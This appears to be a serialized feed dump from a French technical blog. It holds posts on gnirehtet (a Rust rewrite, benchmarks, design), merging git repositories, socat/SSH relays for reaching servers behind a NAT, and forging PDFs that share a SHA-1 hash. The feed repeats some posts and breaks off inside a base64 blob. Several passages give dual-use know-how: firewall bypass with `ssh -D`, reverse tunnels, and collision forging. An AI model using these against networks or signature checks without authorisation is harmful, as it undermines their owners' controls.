if value != 1 {
value -= 1;
}
}
}
fn main() {
infinite(42);
println!("end");
}$ rustc ub.rs && ./ub
^C (infinite loop, interrupt it)
Mais avec optimisations :
$ rustc -O ub.rs && ./ub
end
C’est un cas particulier, qui sera probablement corrigé dans le futur. En pratique, les garanties de sûreté de Rust sont très fortes (au prix d’être contraignantes).
Cette section a été ajoutée après la publication.
Il y a d’autres sources d’undefined behaviors (voir les issues taggées I-unsound).
Par exemple, caster une valeur flottante ne pouvant pas être représentée dans le type cible est un undefined behavior, qui peut être propagé pour provoquer une erreur de segmentation :
#[inline(never)]
pub fn f(ary: &[u8; 5]) -> &[u8] {
let idx = 1e100f64 as usize;
&ary[idx..]
}
fn main() {
println!("{}", f(&[1; 5])[0xdeadbeef]);
}rustc -O ub.rs && ./ub
Erreur de segmentation
C’est tout pour mes retours sur le langage lui-même.
En supplément, comparons les versions Java et Rust du serveur relais.
$ cloc relay-{java,rust}/src
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
Rust 29 687 655 4506
Java 37 726 701 2931
-------------------------------------------------------------------------------
(tests included)
Le projet Rust est significativement plus gros, pour plusieurs raisons :
Poll de plus bas niveau, alors que la version Java
utilise le Selector standard ;La version Java contient plus de fichiers car les tests unitaires sont séparés, alors qu’en Rust ils se trouvent dans le même fichier que les classes qu’ils testent.
Juste pour information, voici les résultats pour le client Android :
$ cloc app/src
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
Java 15 198 321 875
XML 6 7 2 76
-------------------------------------------------------------------------------
SUM: 21 205 323 951
-------------------------------------------------------------------------------
--------------------------------------------
Java gnirehtet.jar 61K
--------------------------------------------
Rust gnirehtet 3.0M
after "strip -g gnirehtet" 747K
after "strip gnirehtet" 588K
--------------------------------------------
Le binaire Java lui-même est bien plus petit. La comparaison n’est pas juste cependant, vu qu’il nécessite l’environnement d’exécution Java :
$ du -sh /usr/lib/jvm/java-1.8.0-openjdk-amd64/
156M /usr/lib/jvm/java-1.8.0-openjdk-amd64/
Avec une seule connection TCP ouvert, voici la consommation mémoire pour le serveur relais en Java :
$ sudo pmap -x $RELAY_JAVA_PID
Kbytes RSS Dirty
total kB 4364052 86148 69316
(résultat filtré)
Et pour le serveur relais en Rust :
$ sudo pmap -x $RELAY_RUST_PID
Kbytes RSS Dirty
total kB 19272 2736 640
Regardez la valeur RSS, qui indique la mémoire réellement utilisée.
Comment on pouvait s’y attendre, la version Java consomme plus de mémoire (86Mo) que la version Rust (moins de 3Mo). De plus, sa valeur est instable à cause de l’allocation de petits objets et leur garbage collection, qui génère aussi davantage de dirty pages. La valeur pour Rust, quant à elle, est très stable : une fois la connection créée, il n’y a plus d’allocations mémoire du tout.
Pour comparer l’utilisation CPU, voici mon scénario : un fichier de 500Mo est
hébergé par Apache sur mon ordinateur, je démarre le serveur relais avec perf
stat, puis je télécharge le fichier à partir de Firefox sur Android. Dès que le
fichier est téléchargé, je stoppe le serveur relais (Ctrl+C).
Voici les résultats pour la version Java :
$ perf stat -B java -jar gnirehtet.jar relay
Performance counter stats for 'java -jar gnirehtet.jar relay':
11805,458302 task-clock:u (msec) # 0,088 CPUs utilized
0 context-switches:u # 0,000 K/sec
0 cpu-migrations:u # 0,000 K/sec
28 618 page-faults:u # 0,002 M/sec
17 908 360 446 cycles:u # 1,517 GHz
13 944 172 792 stalled-cycles-frontend:u # 77,86% frontend cycles idle
18 437 279 663 instructions:u # 1,03 insn per cycle
# 0,76 stalled cycles per insn
3 088 215 431 branches:u # 261,592 M/sec
70 647 760 branch-misses:u # 2,29% of all branches
133,975117164 seconds time elapsed
Et pour la version Rust :
$ perf stat -B ./gnirehtet relay
Performance counter stats for 'target/release/gnirehtet relay':
2707,479968 task-clock:u (msec) # 0,020 CPUs utilized
0 context-switches:u # 0,000 K/sec
0 cpu-migrations:u # 0,000 K/sec
1 001 page-faults:u # 0,370 K/sec
1 011 527 340 cycles:u # 0,374 GHz
2 033 810 378 stalled-cycles-frontend:u # 201,06% frontend cycles idle
981 103 003 instructions:u # 0,97 insn per cycle
# 2,07 stalled cycles per insn
98 929 222 branches:u # 36,539 M/sec
3 220 527 branch-misses:u # 3,26% of all branches
133,766035253 seconds time elapsed
Je ne suis pas un expert pour analyser les résultats, mais de ce que je
comprends de la valeur task-clock:u, la version Rust consomme 4× moins de
temps CPU.
Réécrire Gnirehtet en Rust a été une formidable expérience, où j’ai appris un super langage et de nouveaux concepts de programmation. Et maintenant, nous avons une application native avec de meilleures performances.
Bon reverse tethering !
Discussions sur reddit et Hacker News.
";s:7:"dateiso";s:15:"20170921_170000";}s:15:"20170712_203000";a:7:{s:5:"title";s:27:"Fusionner deux dépôts git";s:4:"link";s:57:"https://blog.rom1v.com/2017/07/fusionner-deux-depots-git/";s:4:"guid";s:56:"https://blog.rom1v.com/2017/07/fusionner-deux-depots-git";s:7:"pubDate";s:25:"2017-07-12T20:30:00+02:00";s:11:"description";s:0:"";s:7:"content";s:4765:"Ce billet explique comment fusionner un dépôt git (avec son historique) dans un sous-répertoire d’un autre dépôt git.
Mon projet principal se trouve dans un dépôt main. J’ai démarré dans un autre
dépôt un projet other, que je souhaite finalement intégrer dans un
sous-répertoire sub/ du projet principal, en conservant son historique. Après
cette fusion, je ne garderai que le dépôt principal.
Les deux projets se trouvent dans le répertoire courant :
$ ls
main other
Dans le dépôt main, copier la branche master de other dans une nouvelle
branche tmp :
cd main
git fetch ../other master:tmpLe dépôt main contient alors les historiques disjoints des deux projets.
Nous allons maintenant réécrire l’historique complet de la branche tmp pour
déplacer tout le contenu dans un sous-répertoire sub/, grâce une commande
donnée en exemple de man git filter-branch :
git checkout tmp
git filter-branch --index-filter \
'git ls-files -s | sed "s-\t\"*-&sub/-" |
GIT_INDEX_FILE=$GIT_INDEX_FILE.new \
git update-index --index-info &&
mv "$GIT_INDEX_FILE.new" "$GIT_INDEX_FILE"'À ce stade, nous avons toujours deux historiques indépendants, mais le contenu
lié à la branche tmp se trouve dans le sous-répertoire sub/.
A---B---C---D master
X---Y---Z tmp
La dernière étape consiste à relier les deux historiques, soit grâce à un rebase, soit grâce à un merge.
Un rebase réécrit l’historique du sous-projet sur la branche master :
git rebase master
# A---B---C---D---X'--Y'--Z' masterUn merge relie juste les deux historiques grâce à un commit de merge :
git merge tmp --allow-unrelated-histories
# A---B---C---D---M master
# /
# X---Y---Z tmpJ’ai débuté la réécriture du serveur relais de gnirehtet en Rust dans un dépôt séparé. Maintenant qu’il commence à fonctionner, je l’ai fusionné dans un sous-répertoire du dépôt principal tout en conservant l’historique :
git fetch ../rustrelay master:tmp
git checkout tmp
git filter-branch --index-filter \
'git ls-files -s | sed "s-\t\"*-&rustrelay/-" |
GIT_INDEX_FILE=$GIT_INDEX_FILE.new \
git update-index --index-info &&
mv "$GIT_INDEX_FILE.new" "$GIT_INDEX_FILE"'
git rebase masterI spent the last few weeks at Genymobile developing a tool providing reverse tethering for Android, so that devices may use the internet connection of the computer on which they are connected via USB, without requiring any root access (neither on the device nor on the computer). It works on GNU/Linux, Windows and Mac OS.
We decided to open source it under the name gnirehtet.
Yeah, that’s a weird name, until you realize that this is the output of this bash command:
rev <<< tetheringBasically, just download the latest release, extract it, and execute the following command on the computer:
./gnirehtet rt
Once activated, a “key” logo appears in your device status bar:

Check the README file of the project for more details.
Gnirehtet is composed of two parts:
Since then, I rewrote it in Rust.
The client registers itself as a VPN, in order to intercept the whole device
network traffic, as byte[] of raw IPv4 packets, which it transmits to the
relay server over a TCP connection (established over adb).
The relay server parses the packets headers, open connections from the computer to the requested destinations, and relays the content in both directions following the UDP and TCP protocols. It creates and sends response packets back to the Android client, which writes them to the VPN interface.
In a sense, the relay server behaves like a NAT, in that it opens connections on behalf of private peers. However, it differs from standard NATs in the way it communicates with the clients (the private peers), by using a very specific (though simple) protocol over a TCP connection.

For more details, you can read the developers page.
Once the application is able to intercept the whole device network traffic, several alternative designs are possible.
TL;DR: I first considered creating a “TUN device” on the computer, but it did not suit our needs. Then I wanted to benefit from existing SOCKS servers, but some constraints prevented us to relay UDP traffic. So I implemented gnirehtet.
During my investigations on how to implement reverse tethering, I first found
projects creating a TUN device on the computer (vpn-reverse-tether and
SimpleRT).
This design works very well, and has several advantages:
However:
You could still consider using these “TUN device” applications, they may better suit your needs.
In order to avoid to develop a specific relay server, my first idea was to make
the client talk the SOCKS protocol (according to RFC 1928). That way, it
would be possible to use any existing SOCKS server, for instance the one
provided by ssh -D.
You probably already used it to bypass annoying enterprise firewalls. For this purpose, just start the tunnel:
ssh my_serveur -ND1080
Then configure your browser to use the SOCKS proxy localhost:1080. Also take
care to enable remote DNS resolution if you want to resolve domain names from
my_server (in Firefox, enable network.proxy.socks_remote_dns in
about:config).
Unfortunately, the OpenSSH implementation does not support UDP, although the SOCKS5 protocol itself does. And we do need UDP, at least for DNS requests (and also NTP).
If you read carefully the two last paragraphs, you might want to ask yourself:
How may Firefox resolve domain names remotely through the OpenSSH SOCKS proxy if it does not even support UDP?
The answer lies in the section 4 of the RFC: the requested destination address may be an IPv4, an IPv6 or a domain name. However, using this feature implies that the client (e.g. Firefox) is aware of the proxy (since it must explicitly pass the domain name instead of resolving it locally), while our reverse tethering must be transparent.
But all is not lost. OK, OpenSSH does not support UDP, but this is just a
specific implementation, we could consider another one. Unfortunately, SOCKS5
requires to relay UDP over UDP, but the devices and the computer
communicate over adb (thanks to adb reverse), which does not support UDP
port forwarding either.
Maybe we could at least relay DNS requests by forcing them to use TCP, like tsocks does:
tsocks will normally not be able to send DNS queries through a SOCKS server since SOCKS V4 works on TCP and DNS normally uses UDP. Version 1.5 and up do however provide a method to force DNS lookups to use TCP, which then makes them proxyable.
But then, SOCKS was no longer attractive to me for implementing reverse tethering.
Therefore, I developed both the client and the relay server manually.
This blog post and several open source projects (SimpleRT,
vpn-reverse-tether, LocalVPN et ToyVpn) helped me a lot to
understand how to implement this solution.
Gnirehtet allows Android devices to use the internet connection from a computer easily, without any root access. It helps when you can’t access the network using a WiFi access point.
I hope it will be useful to some of you.
This post was initially published on medium.
Discuss on reddit and Hacker News.
";s:7:"dateiso";s:15:"20170330_120000";}s:15:"20170330_115000";a:7:{s:5:"title";s:9:"Gnirehtet";s:4:"link";s:41:"https://blog.rom1v.com/2017/03/gnirehtet/";s:4:"guid";s:40:"https://blog.rom1v.com/2017/03/gnirehtet";s:7:"pubDate";s:25:"2017-03-30T09:50:00+00:00";s:11:"description";s:0:"";s:7:"content";s:11170:"Durant ces dernières semaines chez Genymobile, j’ai développé un outil de reverse tethering pour Android, permettant aux téléphones (et aux tablettes) d’utiliser la connexion internet de l’ordinateur sur lequel ils sont branchés en USB, sans accès root (ni sur le téléphone, ni sur le PC). Il fonctionne sur GNU/Linux, Windows et Mac OS.
Nous avons décidé de le publier en open source, sous le nom de gnirehtet.
Oui, c’est un nom bizarre, jusqu’à ce qu’on réalise qu’il s’agit du résultat de la commande bash :
rev <<< tetheringIl suffit de télécharger la dernière release, de l’extraire, et d’exécuter la commande suivante sur le PC :
./gnirehtet rt
Une fois activé, un logo en forme de clé apparaît dans la barre de statut du téléphone :

Lisez le fichier README pour plus de détails.
Le projet est composé de deux parties :
Depuis, je l’ai réécrit en Rust.
Le client s’enregistre en tant que VPN, de manière à intercepter tout le trafic
réseau du téléphone, sous la forme de byte[] de paquets IPv4 bruts, qu’il
transmet alors vers le serveur relais sur une connexion TCP (établie
par-dessus adb).
Le serveur relais analyse les en-têtes des paquets, ouvre des connexions à partir du PC vers les adresses de destinations demandées, et relaie le contenu dans les deux sens en suivant les protocoles UDP et TCP. Il crée et renvoie des paquets de réponse vers le client Android, qui les écrit sur l’interface VPN.
D’une certaine manière, le serveur relais se comporte comme un NAT, en cela qu’il ouvre des connexions pour le compte d’autres machines qui n’ont pas accès au réseau. Cependant, il diffère des NAT standards dans la manière dont il communique avec les clients, en utilisant un protocole spécifique (très simple) sur une connexion TCP.

Pour plus de détails, lisez la page développeurs.
Une fois que l’application est capable d’intercepter l’intégralité du traffic réseau du téléphone, différentes approches sont possibles. Voici celles que j’ai considérées.
TL;DR: J’ai d’abord étudié l’utilisation d’un “TUN device” sur le PC, mais ça ne répondait pas à nos besoins. J’ai ensuite voulu utiliser SOCKS pour bénéficier des serveurs existants, mais des contraintes nous empêchaient de relayer le trafic UDP. Alors j’ai implémenté gnirehtet.
Lors de mes recherches pour savoir comment implémenter le reverse tethering,
j’ai d’abord trouvé des projets créant un TUN device sur l’ordinateur
(vpn-reverse-tether and SimpleRT).
Cette conception fonctionne très bien, et a plusieurs avantages :
Cependant :
Il se peut néanmoins que ces applications répondent davantage à vos besoins.
Afin d’éviter d’avoir à développer un serveur relais spécifique, ma première
idée était d’écrire un client qui parlait le protocole SOCKS (suivant le RFC
1928). Ainsi, il serait possible d’utiliser n’importe quel serveur SOCKS
existant, par exemple celui fourni par ssh -D.
Vous l’avez probablement déjà utilisé pour éviter le filtrage des pare-feux en entreprise. Pour cela, démarrez le tunnel :
ssh mon_serveur -ND1080
Puis configurez votre navigateur pour utiliser le proxy SOCKS localhost:1080.
N’oubliez pas d’activer la résolution DNS distante pour résoudre les noms de
domaine à partir de mon_serveur (dans Firefox, activez
network.proxy.socks_remote_dns dans about:config).
Malheureusement, l’implémentation d’OpenSSH ne supporte pas UDP, même si le protocole SOCKS5 lui-même le supporte. Et nous avons besoin d’UDP, au moins pour les requêtes DNS (ainsi que pour NTP).
Si vous avez lu attentivement les deux paragraphes précédents, vous devriez vous demander :
Comment Firefox peut-il résoudre les noms de domaine à distance alors que le proxy SOCKS d’OpenSSH ne supporte même pas UDP ?
La réponse se trouve dans la section 4 du RFC : l’adresse de destination demandée peut être une IPv4, une IPv6 ou un nom de domaine. Par contre, pour utiliser cette fonctionnalité, le client (par exemple Firefox) doit savoir qu’il passe par un proxy (puisqu’il doit explicitement passer le nom de domaine au lieu de le résoudre localement), alors que notre reverse tethering doit être transparent.
Mais tout n’est pas perdu. Certes, OpenSSH ne supporte pas UDP, mais ce n’est
qu’une implémentation spécifique, nous pourrions en utiliser une autre.
Malheureusement, SOCKS5 relaie UDP sur UDP, et les téléphones
et l’ordinateur communiquent sur adb (grâce à adb reverse), qui ne supporte
pas non plus la redirection de ports UDP.
Peut-être que nous pourrions au moins relayer les requêtes DNS en les forçant à utiliser TCP, comme le fait tsocks :
tsocks will normally not be able to send DNS queries through a SOCKS server since SOCKS V4 works on TCP and DNS normally uses UDP. Version 1.5 and up do however provide a method to force DNS lookups to use TCP, which then makes them proxyable.
Mais finalement, SOCKS n’est plus une solution aussi attirante pour implémenter le reverse tethering.
Par conséquent, j’ai développé à la fois le client et le serveur relais manuellement.
Ce billet de blog et différents projets open source (SimpleRT,
vpn-reverse-tether, LocalVPN et ToyVpn) m’ont beaucoup aidé à comprendre
comment implémenter cette solution de reverse tethering.
Gnirehtet permet aux téléphones et tablettes Android d’utiliser facilement la connection internet d’un ordinateur par USB, sans accès root. C’est très utile quand vous ne pouvez pas accéder au réseau par un point d’accès WiFi.
J’espère qu’il pourra être utile à certains d’entre vous.
Discussions sur reddit et Hacker News.
";s:7:"dateiso";s:15:"20170330_115000";}s:15:"20170330_110000";a:7:{s:5:"title";s:9:"Gnirehtet";s:4:"link";s:40:"http://blog.rom1v.com/2017/03/gnirehtet/";s:4:"guid";s:39:"http://blog.rom1v.com/2017/03/gnirehtet";s:7:"pubDate";s:25:"2017-03-30T11:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:10030:"Durant ces dernières semaines chez Genymobile, j’ai développé un outil de reverse tethering pour Android, permettant aux téléphones (et aux tablettes) d’utiliser la connexion internet de l’ordinateur sur lequel ils sont branchés, sans accès root (ni sur le téléphone, ni sur le PC). Il fonctionne sur GNU/Linux, Windows et Mac OS.
Nous avons décidé de le publier en open source, sous le nom de gnirehtet.
Oui, c’est un nom bizarre, jusqu’à ce qu’on réalise qu’il s’agit du résultat de la commande bash :
rev <<< tetheringIl suffit de télécharger la dernière release, de l’extraire, et d’exécuter la commande suivante sur le PC :
./gnirehtet rt
Une fois activé, un logo en forme de clé apparaît dans la barre de statut du téléphone :

Lisez le fichier README pour plus de détails.
Le projet est composé de deux parties :
Le client s’enregistre en tant que VPN, de manière à intercepter tout le trafic
réseau du téléphone, sous la forme de byte[] de paquets IPv4 bruts, qu’il
transmet alors vers le serveur relais sur une connexion TCP (établie
par-dessus adb).
Le serveur relais analyse les en-têtes des paquets, ouvre des connexions à partir du PC vers les adresses de destinations demandées, et relaie le contenu dans les deux sens en suivant les protocoles UDP et TCP. Il crée et renvoie des paquets de réponse vers le client Android, qui les écrit sur l’interface VPN.
D’une certaine manière, le serveur relais se comporte comme un NAT, en cela qu’il ouvre des connexions pour le compte d’autres machines qui n’ont pas accès au réseau. Cependant, il diffère des NAT standards dans la manière dont il communique avec les clients, en utilisant un protocole spécifique (très simple) sur une connexion TCP.

Pour plus de détails, lisez la page développeurs.
Une fois que l’application est capable d’intercepter l’intégralité du traffic réseau du téléphone, différentes approches sont possibles. Voici celles que j’ai considérées.
TL;DR: J’ai d’abord étudié l’utilisation d’un “TUN device” sur le PC, mais ça ne répondait pas à nos besoins. J’ai ensuite voulu utiliser SOCKS pour bénéficier des serveurs existants, mais des contraintes nous empêchaient de relayer le trafic UDP. Alors j’ai implémenté gnirehtet.
Lors de mes recherches pour savoir comment implémenter le reverse tethering,
j’ai d’abord trouvé des projets créant un TUN device sur l’ordinateur
(vpn-reverse-tether and SimpleRT).
Cette conception fonctionne très bien, et a plusieurs avantages :
Cependant :
Il se peut néanmoins que ces applications répondent davantage à vos besoins.
Afin d’éviter d’avoir à développer un serveur relais spécifique, ma première
idée était d’écrire un client qui parlait le protocole SOCKS (suivant le RFC
1928). Ainsi, il serait possible d’utiliser n’importe quel serveur SOCKS
existant, par exemple celui fourni par ssh -D.
Vous l’avez probablement déjà utilisé pour éviter le filtrage des pare-feux en entreprise. Pour cela, démarrez le tunnel :
ssh mon_serveur -ND1080
Puis configurez votre navigateur pour utiliser le proxy SOCKS localhost:1080.
N’oubliez pas d’activer la résolution DNS distante pour résoudre les noms de
domaine à partir de mon_serveur (dans Firefox, activez
network.proxy.socks_remote_dns dans about:config).
Malheureusement, l’implémentation d’OpenSSH ne supporte pas UDP, même si le protocole SOCKS5 lui-même le supporte. Et nous avons besoin d’UDP, au moins pour les requêtes DNS (ainsi que pour NTP).
Si vous avez lu attentivement les deux paragraphes précédents, vous devriez vous demander :
Comment Firefox peut-il résoudre les noms de domaine à distance alors que le proxy SOCKS d’OpenSSH ne supporte même pas UDP ?
La réponse se trouve dans la section 4 du RFC : l’adresse de destination demandée peut être une IPv4, une IPv6 ou un nom de domaine. Par contre, pour utiliser cette fonctionnalité, le client (par exemple Firefox) doit savoir qu’il passe par un proxy (puisqu’il doit explicitement passer le nom de domaine au lieu de le résoudre localement), alors que notre reverse tethering doit être transparent.
Mais tout n’est pas perdu. Certes, OpenSSH ne supporte pas UDP, mais ce n’est
qu’une implémentation spécifique, nous pourrions en utiliser une autre.
Malheureusement, SOCKS5 relaie UDP sur UDP, et les téléphones
et l’ordinateur communiquent sur adb (grâce à adb reverse), qui ne supporte
pas non plus la redirection de ports UDP.
Peut-être que nous pourrions au moins relayer les requêtes DNS en les forçant à utiliser TCP, comme le fait tsocks :
tsocks will normally not be able to send DNS queries through a SOCKS server since SOCKS V4 works on TCP and DNS normally uses UDP. Version 1.5 and up do however provide a method to force DNS lookups to use TCP, which then makes them proxyable.
Mais finalement, SOCKS n’est plus une solution aussi attirante pour implémenter le reverse tethering.
Par conséquent, j’ai développé à la fois le client et le serveur relais manuellement.
Ce billet de blog et différents projets open source (SimpleRT,
vpn-reverse-tether, LocalVPN et ToyVpn) m’ont beaucoup aidé à comprendre
comment implémenter cette solution de reverse tethering.
Gnirehtet permet aux téléphones et tablettes Android d’utiliser facilement la connection internet d’un ordinateur par USB, sans accès root. C’est très utile quand vous ne pouvez pas accéder au réseau par un point d’accès WiFi.
J’espère qu’il pourra être utile à certains d’entre vous.
";s:7:"dateiso";s:15:"20170330_110000";}s:15:"20170312_231712";a:7:{s:5:"title";s:14:"Serveur-client";s:4:"link";s:46:"https://blog.rom1v.com/2017/03/serveur-client/";s:4:"guid";s:45:"https://blog.rom1v.com/2017/03/serveur-client";s:7:"pubDate";s:25:"2017-03-12T23:17:12+01:00";s:11:"description";s:0:"";s:7:"content";s:10329:"L’objectif de ce billet est de parvenir à nous connecter à un serveur a priori inaccessible derrière un NAT.
De nos jours, TCP est toujours utilisé en mode client-serveur :
Une fois la connexion établie, cependant, le client et le serveur jouent exactement le même rôle au niveau de la communication. Par contre, très souvent, leur rôle applicatif dépend directement de celui qui a initié la connexion :

Ce fonctionnement paraît tellement naturel que “client” désigne bien souvent à la fois celui qui initie la connexion et celui qui effectue des requêtes (au serveur), alors que “serveur” désigne aussi bien la partie en écoute que celle qui répondra aux requêtes (des clients).
Avec la pénurie d’adresses IPv4, le NAT s’est généralisé. Bien souvent, un accès internet ne fournit qu’une seule adresse IPv4. Les différents ordinateurs partageant la même connexion ne sont alors pas accessibles directement depuis l’extérieur (il est nécessaire d’ouvrir des ports).
Ainsi, derrière un NAT sans ports ouverts, un serveur ne sera pas accessible publiquement. Par contre, un client pourra continuer à se connecter à n’importe quel serveur public.

Il existe des situations pour lesquelles nous souhaitons qu’un logiciel joue le rôle de serveur au niveau applicatif, afin de répondre aux requêtes des clients, mais client au niveau de la communication, afin de passer les NATs sans difficultés.
Par exemple, nous pouvons vouloir accéder, grâce à VNC ou SSH, à un ordinateur se trouvant derrière un NAT sur lequel, par hypothèse, nous n’avons pas la main. Dans ce cas, seul le serveur (au sens applicatif) aura la capacité d’ouvrir une connexion vers le client.
Il est possible d’utiliser un logiciel spécialement conçu pour gérer cette inversion des rôles. C’est le cas par exemple de gitso, qui inverse le protocole VNC afin de simplifier l’aide de novices à distance.
Cette solution a cependant l’inconvénient d’être très spécifique, nécessitant un développement supplémentaire pour chaque protocole.
SSH permet d’ouvrir un tunnel pour rediriger un port d’une machine distance vers une adresse quelconque.
Par exemple, après avoir démarré la redirection :
ssh un_serveur_public -NR2222:localhost:22
toutes les connexions arrivant sur un_serveur_public:2222 seront redirigées de
manière transparente vers localhost:22 (sur la machine ayant initié le tunnel,
donc).
(Cela nécessite d’activer GatewayPorts yes dans /etc/ssh/sshd_config sur
un_serveur_public.)
De cette manière, un serveur SSH inaccessible derrière un NAT est rendu
accessible à travers un tunnel en passant par une machine publique
(un_serveur_public). Ainsi, il est possible de s’y connecter avec la
commande :
ssh un_serveur_public -p2222

Cette stratégie fonctionne bien, mais elle nécessite que la machine qui souhaite
exposer un serveur grâce à un tunnel possède un accès SSH sur
un_serveur_public.
Si l’on souhaite aider quelqu’un grâce à la prise de contrôle de sa machine à distance, il y a toutes les chances que cette personne n’ait pas d’accès SSH vers une machine publiquement accessible. Il est alors possible de lui créer un compte restreint dédié sur un serveur que l’on contrôle, mais c’est très intrusif, et il faut s’assurer de ne pas réduire la sécurité.
Mais en fait, cette contrainte est superflue.
La redirection de port distant nécessite des permissions car, outre le fait qu’elle est implémentée sur SSH, il serait déraisonnable d’autoriser n’importe qui à ouvrir une socket en écoute sur un port arbitraire d’une machine distante.
Pour éviter ce problème, nous pouvons décomposer la redirection de port distant fourni par SSH en deux parties :
un_serveur_public, redirigée vers
l’adresse localhost:22 dans l’exemple précédent ;2222) de la machine
distante, redirigée vers la première connexion.L’idée est de mettre en place le premier demi-tunnel sur la machine serveur, et le second demi-tunnel, nécessitant des permissions, sur la machine publique, contrôlée par le client.
Pour cela, nous allons utiliser l’outil socat, qui permet de relayer les
données entre deux sockets, quelque soit le rôle qu’elles aient joué lors de
l’initialisation.
Pour comprendre son utilisation, nous allons ouvrir grâce à netcat (nc) une
socket TCP en écoute sur le port 5000 et nous y connecter :
# terminal 1
nc -l -p 5000
# terminal 2
nc localhost 5000Toute entrée validée par un retour à la ligne dans le terminal 1 s’affichera dans le terminal 2 (et vice-versa).

Démarrons maintenant dans deux terminaux différents une socket en écoute sur les
ports 1111 et 2222 :
# terminal 1
nc -l -p 1111
# terminal 2
nc -l -p 2222Pour les mettre en communication avec socat, dans un 3e terminal :
socat tcp:localhost:1111 tcp:localhost:2222

Inversement, il est possible de mettre en communication deux sockets actives (sans compter sur leur synchronisation). Pour cela, commençons par ouvrir le serveur relai :
socat tcp-listen:1111 tcp-listen:2222
Puis connectons-y deux sockets :
# terminal 1
nc localhost 1111
# terminal 2
nc localhost 2222
Nous sommes maintenant prêts pour créer l’équivalent d’une redirection de port
distant SSH grâce à deux socats, qui vont permettre d’inverser la connexion
uniquement sur la portion qui permet de traverser le NAT :
# sur un_serveur_public
socat tcp-listen:1234 tcp-listen:5678
# sur le serveur derrière le NAT
socat tcp:un_serveur_public:1234 tcp:localhost:22
# sur le client
ssh un_serveur_public -p5678
Le 23 février, une équipe de chercheurs a annoncé avoir cassé SHA-1 en pratique, en générant une collision.
À partir de leur travail, il est possible de produire de nouvelles paires de fichiers PDF arbitrairement différents qui auront la même signature SHA-1. Par exemple :
$ sha1sum shadow1.pdf shadow2.pdf
fffe36a1d6f0a76a585af4f3838a4a46b6714f0c shadow1.pdf
fffe36a1d6f0a76a585af4f3838a4a46b6714f0c shadow2.pdf
$ sha256sum shadow1.pdf shadow2.pdf
502ccf8ecee10176d891fa4aeab295edec22b95141c2ae16d85f13b39879e37e shadow1.pdf
2546d272df653c5a99ef0914fa6ed43b336f309758ea873448154ebde90cdfe1 shadow2.pdf
J’explique dans ce billet le principe, et je fournis un outil qui produit, à partir de deux images JPEG, deux fichiers PDF différents de même SHA-1.
En fabriquant leur collision, les auteurs ont pris soin de la rendre réutilisable :
Furthermore, the prefix of the colliding messages was carefully chosen so that they allow an attacker to forge two PDF documents with the same SHA-1 hash yet that display arbitrarily-chosen distinct visual content.
Aujourd’hui, nous allons jouer aux attaquants.
La réutilisation de la collision repose sur le fait qu’avec SHA-1, ajouter un suffixe identique à une collision existante produit encore une collision :
SHA1(A) == SHA1(B) ==> SHA1(A|X) == SHA1(B|X)
(où X|Y est la concaténation de X et de Y)
Autrement dit, vous prenez les fichiers qui produisent une collision, vous ajoutez les mêmes octets aux deux, vous obtenez le même SHA-1 :
$ { cat shattered-1.pdf; echo bonjour; } | sha1sum
4bfd4b804da3aa207b29d6f1300dde507988dc4b -
$ { cat shattered-2.pdf; echo bonjour; } | sha1sum
4bfd4b804da3aa207b29d6f1300dde507988dc4b -
Il est donc trivial de créer de nouvelles collisions.
Mais pour qu’elles aient un intérêt, encore faut-il :
Les différences entre shattered-1.pdf et shattered-2.pdf se situent entre
les adresses 0xc0 et 0x13f :
diff -U3 <(hd shattered-1.pdf) <(hd shattered-2.pdf)--- /dev/fd/63 2017-02-28 21:11:11.530135134 +0100
+++ /dev/fd/62 2017-02-28 21:11:11.530135134 +0100
@@ -10,14 +10,14 @@
00000090 72 65 61 6d 0a ff d8 ff fe 00 24 53 48 41 2d 31 |ream......$SHA-1|
000000a0 20 69 73 20 64 65 61 64 21 21 21 21 21 85 2f ec | is dead!!!!!./.|
000000b0 09 23 39 75 9c 39 b1 a1 c6 3c 4c 97 e1 ff fe 01 |.#9u.9...<L.....|
-000000c0 73 46 dc 91 66 b6 7e 11 8f 02 9a b6 21 b2 56 0f |sF..f.~.....!.V.|
-000000d0 f9 ca 67 cc a8 c7 f8 5b a8 4c 79 03 0c 2b 3d e2 |..g....[.Ly..+=.|
-000000e0 18 f8 6d b3 a9 09 01 d5 df 45 c1 4f 26 fe df b3 |..m......E.O&...|
-000000f0 dc 38 e9 6a c2 2f e7 bd 72 8f 0e 45 bc e0 46 d2 |.8.j./..r..E..F.|
-00000100 3c 57 0f eb 14 13 98 bb 55 2e f5 a0 a8 2b e3 31 |<W......U....+.1|
-00000110 fe a4 80 37 b8 b5 d7 1f 0e 33 2e df 93 ac 35 00 |...7.....3....5.|
-00000120 eb 4d dc 0d ec c1 a8 64 79 0c 78 2c 76 21 56 60 |.M.....dy.x,v!V`|
-00000130 dd 30 97 91 d0 6b d0 af 3f 98 cd a4 bc 46 29 b1 |.0...k..?....F).|
+000000c0 7f 46 dc 93 a6 b6 7e 01 3b 02 9a aa 1d b2 56 0b |.F....~.;.....V.|
+000000d0 45 ca 67 d6 88 c7 f8 4b 8c 4c 79 1f e0 2b 3d f6 |E.g....K.Ly..+=.|
+000000e0 14 f8 6d b1 69 09 01 c5 6b 45 c1 53 0a fe df b7 |..m.i...kE.S....|
+000000f0 60 38 e9 72 72 2f e7 ad 72 8f 0e 49 04 e0 46 c2 |`8.rr/..r..I..F.|
+00000100 30 57 0f e9 d4 13 98 ab e1 2e f5 bc 94 2b e3 35 |0W...........+.5|
+00000110 42 a4 80 2d 98 b5 d7 0f 2a 33 2e c3 7f ac 35 14 |B..-....*3....5.|
+00000120 e7 4d dc 0f 2c c1 a8 74 cd 0c 78 30 5a 21 56 64 |.M..,..t..x0Z!Vd|
+00000130 61 30 97 89 60 6b d0 bf 3f 98 cd a8 04 46 29 a1 |a0..`k..?....F).|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000230 00 00 ff fe 00 fc 00 00 00 00 00 00 00 00 ff e0 |................|Nous devrons donc, quoi qu’il arrive, conserver les 0x140 (320) premiers
octets : il s’agira forcément d’un fichier PDF.
Pour analyser la structure sur un exemple minimal, je vous conseille l’exemple
fourni à la dernière page du papier (good.pdf et bad.pdf) :
<< -- base64 -d | tar xj
QlpoOTFBWSZTWbL5V5MABl///////9Pv///v////+/////HDdK739/677r+W3/75rUNr4Aa/AAAAAAA
